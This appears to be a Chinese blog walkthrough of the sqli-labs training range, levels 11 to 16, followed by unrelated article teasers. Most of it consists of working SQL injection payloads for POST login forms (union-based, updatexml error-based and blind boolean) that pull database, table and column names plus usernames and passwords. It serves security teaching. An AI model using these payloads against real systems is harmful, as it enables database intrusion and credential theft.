news 2026/6/15 10:22:35

sqli-labs靶场通关详细讲解(附php源码分析Less-11-16)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sqli-labs靶场通关详细讲解(附php源码分析Less-11-16)

Less-11

发现该题为post注入,测试注入点发现为',开始写注入语句,使用burpsuite抓包分析

在数字1处进行sql注入

1' --+

1' order by 2 --+

1' union select 11,22 --+

1' union select 11,database()--+

uname=1' union select 11,group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=1&submit=Submit

uname=1' union select 11,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+&passwd=1&submit=Submit

uname=1' union select 11,group_concat(username,password) from users--+&passwd=1&submit=Submit

PHP源码分析

分析发现,该处为使用post接收两个值,将它拼接为sql语句

Less-12

简单测试,发现闭合为 ") uname=1")--+&passwd=1&submit=Submit

uname=1") union select 11,database()--+&passwd=1&submit=Submit

发现成功,其余步骤跟Less-11一致

Less-13

uname=1') --+&passwd=1&submit=Submit 测试发现此处为')

uname=1') order by 2--+&passwd=1&submit=Submit 测试发现页面无回显

使用报错注入

uname=1') union select 11,updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select username from users limit 1,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select password from users limit 0,1) ,0x7e),1)--+&passwd=1&submit=Submit

Less-14

测试发现此处闭合条件为 " 且为无回显

uname=1" union select 11,updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

此题目与上题一致,仅为闭合条件不同

Less-15(补充知识看之前文章Less-8)

测试发现无报错信息也无回显,考虑使用盲注,通过使用Less-8一样的方法,不断测试

uname=1' or '1'='1'--+&passwd=1&submit=Submit 测试出闭合条件

uname=1' or '1'='1' order by 2--+&passwd=1&submit=Submit 测试为2列

uname=1' or '1'='1' union select 11,22--+&passwd=1&submit=Submit 接下来开始猜解

uname=1' or '1'='1' and (length(database()))=8--+&passwd=1&submit=Submit 只有8时为正确页面,说明数据库为8位

uname=1' or '1'='1' and (ascii(substr(database(),1,1)))=115--+&passwd=1&submit=Submit 说明数据库名字第一个字母为s

同理可得uname=1' or '1'='1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1), 1, 1)) = 101--+&passwd=1&submit=Submit 猜解表名和列名即可

Less-16

uname=1") or 1=1--+&passwd=1&submit=Submit 此处的闭合条件为")其余步骤与Less-15一致,均使用盲注的方法解决

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 13:25:44

贾子战略理论体系(一套兵法、两个七十二、三大定律)的全面研究:从传统智慧到现代应用的理论重构与实践验证

贾子战略理论体系(一套兵法、两个七十二、三大定律)的全面研究:从传统智慧到现代应用的理论重构与实践验证引言在全球战略格局深度调整、人工智能技术日新月异的 2025 年,传统战略理论面临着前所未有的挑战与机遇。贾子战略理论体…

作者头像 李华
网站建设 2026/6/15 4:41:55

23、Linux文本处理工具全解析

Linux文本处理工具全解析 在Linux系统中,文本处理是一项非常重要的工作。无论是日常的系统管理,还是软件开发过程中的代码处理,都离不开各种文本处理工具。本文将详细介绍一些常用的Linux文本处理工具及其使用方法。 排序与去重 在处理文本文件时,排序和去重是常见的操作…

作者头像 李华
网站建设 2026/6/10 20:43:02

YouTube开放稳定币收款,加密货币支付正在全球普及?

2025年底,一则看似简单的支付功能更新,却引起了全球科技与金融圈的热烈讨论。全球最大的影音平台YouTube宣布,将允许美国地区的内容创作者选择使用PayPal发行的美元稳定币PYUSD来领取他们的收益。这不仅仅是为创作者提供一个新的收款选项&…

作者头像 李华
网站建设 2026/6/13 10:53:56

显卡卸载工具DDU

链接:https://pan.quark.cn/s/b675ab53fa00显卡卸载工具DDU是款可用于显卡驱动卸载的程序工具,这个驱动卸载工具支持卸载NVIDIA, AMD, Intel品牌的显卡驱动,也就是说绝大部分电脑都可以使用它彻底卸载显卡驱动。功能特点可用于显卡驱动程序的…

作者头像 李华
网站建设 2026/6/10 19:20:25

直播工具OBS Studio

链接:https://pan.quark.cn/s/b675ab53fa00OBS Studio是一款非常知名,使用用户庞大的一款OBS直播软件,是专为视频直播开发的一款直播软件,与经典版相比,它在这个基础上进行了升级改进,音频分路简单&#xf…

作者头像 李华
网站建设 2026/6/13 21:57:34

针对原网格的流场单变量进行本征正交分解pod程序 输出模态tecplot文件,特征值,时间系数等参数

针对原网格的流场单变量进行本征正交分解pod程序 输出模态tecplot文件,特征值,时间系数等参数,输出重构流场tecplot文件 包含视频教程和实例数据以及程序代码最近在搞流场分析的朋友应该都听说过POD这玩意儿。这玩意说白了就是把复杂流动数据…

作者头像 李华